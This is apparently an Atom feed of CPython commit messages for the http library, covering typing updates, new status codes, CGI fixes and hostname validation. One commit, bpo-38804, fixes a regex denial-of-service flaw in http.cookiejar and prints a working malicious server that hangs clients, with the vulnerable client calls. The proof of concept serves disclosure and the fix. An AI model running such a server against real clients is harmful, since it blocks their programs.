<feed xmlns='http://www.w3.org/2005/Atom'>
<title>delta/cpython-git.git/Lib/http, branch refactor-lambda-parameters</title>
<subtitle>github.com: python/cpython.git
</subtitle>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/'/>
<entry>
<title>bpo-39481: PEP 585 for a variety of modules (GH-19423)</title>
<updated>2020-04-10T14:46:36+00:00</updated>
<author>
<name>Batuhan Taşkaya</name>
<email>batuhanosmantaskaya@gmail.com</email>
</author>
<published>2020-04-10T14:46:36+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=0361556537686f857f1025ead75e6af4ca7cc94a'/>
<id>0361556537686f857f1025ead75e6af4ca7cc94a</id>
<content type='text'>
- concurrent.futures
- ctypes
- http.cookies
- multiprocessing
- queue
- tempfile
- unittest.case
- urllib.parse</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
- concurrent.futures
- ctypes
- http.cookies
- multiprocessing
- queue
- tempfile
- unittest.case
- urllib.parse</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-40094: CGIHTTPRequestHandler logs exit code (GH-19285)</title>
<updated>2020-04-02T01:42:05+00:00</updated>
<author>
<name>Victor Stinner</name>
<email>vstinner@python.org</email>
</author>
<published>2020-04-02T01:42:05+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=9a679a0e47d58aa73b7747d4e16140048c10baf5'/>
<id>9a679a0e47d58aa73b7747d4e16140048c10baf5</id>
<content type='text'>
CGIHTTPRequestHandler of http.server now logs the CGI script exit
code, rather than the CGI script exit status of os.waitpid().

For example, if the script is killed by signal 11, it now logs:
"CGI script exit code -11."</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
CGIHTTPRequestHandler of http.server now logs the CGI script exit
code, rather than the CGI script exit status of os.waitpid().

For example, if the script is killed by signal 11, it now logs:
"CGI script exit code -11."</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-39507: Add HTTP status 418 "I'm a Teapot" (GH-18291)</title>
<updated>2020-03-15T12:24:23+00:00</updated>
<author>
<name>Ross</name>
<email>rrhodes@users.noreply.github.com</email>
</author>
<published>2020-03-15T12:24:23+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=61ac612e78e4f2625977406fb6f366e0a644673a'/>
<id>61ac612e78e4f2625977406fb6f366e0a644673a</id>
<content type='text'>
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-38576: Disallow control characters in hostnames in http.client (GH-18995)</title>
<updated>2020-03-14T18:56:06+00:00</updated>
<author>
<name>Ashwin Ramaswami</name>
<email>aramaswamis@gmail.com</email>
</author>
<published>2020-03-14T18:56:06+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=9165addc22d05e776a54319a8531ebd0b2fe01ef'/>
<id>9165addc22d05e776a54319a8531ebd0b2fe01ef</id>
<content type='text'>
Add host validation for control characters for more CVE-2019-18348 protection.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Add host validation for control characters for more CVE-2019-18348 protection.
</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-39509: Update HTTP status code to follow IANA (GH-18294)</title>
<updated>2020-03-14T14:12:01+00:00</updated>
<author>
<name>Dong-hee Na</name>
<email>donghee.na92@gmail.com</email>
</author>
<published>2020-03-14T14:12:01+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=da52be47690da0d9f78d0dce9ee5c3e4dbef49e1'/>
<id>da52be47690da0d9f78d0dce9ee5c3e4dbef49e1</id>
<content type='text'>
Add status codes 103 EARLY_HINTS and 425 TOO_EARLY.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Add status codes 103 EARLY_HINTS and 425 TOO_EARLY.</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-35292: Avoid calling mimetypes.init when http.server is imported (GH-17822)</title>
<updated>2020-01-08T18:28:14+00:00</updated>
<author>
<name>An Long</name>
<email>aisk@users.noreply.github.com</email>
</author>
<published>2020-01-08T18:28:14+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=5907e61a8d4da6d0f11bf1062d6d17484560a15e'/>
<id>5907e61a8d4da6d0f11bf1062d6d17484560a15e</id>
<content type='text'>
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-38907: Suppress any exception when attempting to set V6ONLY. (GH-17864)</title>
<updated>2020-01-06T12:59:36+00:00</updated>
<author>
<name>Jason R. Coombs</name>
<email>jaraco@jaraco.com</email>
</author>
<published>2020-01-06T12:59:36+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=7cdc31a14c824000cbe8b487900c9826a33f6940'/>
<id>7cdc31a14c824000cbe8b487900c9826a33f6940</id>
<content type='text'>
Fixes error attempting to bind to IPv4 address.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Fixes error attempting to bind to IPv4 address.</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-38907: In http.server script, restore binding to IPv4 on Windows. (GH-17851)</title>
<updated>2020-01-06T03:32:19+00:00</updated>
<author>
<name>Jason R. Coombs</name>
<email>jaraco@jaraco.com</email>
</author>
<published>2020-01-06T03:32:19+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=ee94bdb0598f9bc47d6a49e58fffc97aa617be96'/>
<id>ee94bdb0598f9bc47d6a49e58fffc97aa617be96</id>
<content type='text'>
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-38804: Fix REDoS in http.cookiejar (GH-17157)</title>
<updated>2019-11-22T14:22:11+00:00</updated>
<author>
<name>bcaller</name>
<email>bcaller@users.noreply.github.com</email>
</author>
<published>2019-11-22T14:22:11+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=1b779bfb8593739b11cbb988ef82a883ec9d077e'/>
<id>1b779bfb8593739b11cbb988ef82a883ec9d077e</id>
<content type='text'>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) &gt; 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) &gt; 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-38863: Improve is_cgi() in http.server (GH-17312)</title>
<updated>2019-11-22T09:13:05+00:00</updated>
<author>
<name>Siwon Kang</name>
<email>kkangshawn@gmail.com</email>
</author>
<published>2019-11-22T09:13:05+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=91daa9d7224626dad4bb820924c01b3438ca6e3f'/>
<id>91daa9d7224626dad4bb820924c01b3438ca6e3f</id>
<content type='text'>
is_cgi() function of http.server library does not currently handle a
cgi script if one of the cgi_directories is located at the
sub-directory of given path. Since is_cgi() in CGIHTTPRequestHandler
class separates given path into (dir, rest) based on the first seen
'/', multi-level directories like /sub/dir/cgi-bin/hello.py is divided
into head=/sub, rest=dir/cgi-bin/hello.py then check whether '/sub'
exists in cgi_directories = [..., '/sub/dir/cgi-bin'].
This patch makes the is_cgi() keep expanding dir part to the next '/'
then checking if that expanded path exists in the cgi_directories.

Signed-off-by: Siwon Kang &lt;kkangshawn@gmail.com&gt;





https://bugs.python.org/issue38863</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
is_cgi() function of http.server library does not currently handle a
cgi script if one of the cgi_directories is located at the
sub-directory of given path. Since is_cgi() in CGIHTTPRequestHandler
class separates given path into (dir, rest) based on the first seen
'/', multi-level directories like /sub/dir/cgi-bin/hello.py is divided
into head=/sub, rest=dir/cgi-bin/hello.py then check whether '/sub'
exists in cgi_directories = [..., '/sub/dir/cgi-bin'].
This patch makes the is_cgi() keep expanding dir part to the next '/'
then checking if that expanded path exists in the cgi_directories.

Signed-off-by: Siwon Kang &lt;kkangshawn@gmail.com&gt;





https://bugs.python.org/issue38863</pre>
</div>
</content>
</entry>
</feed>
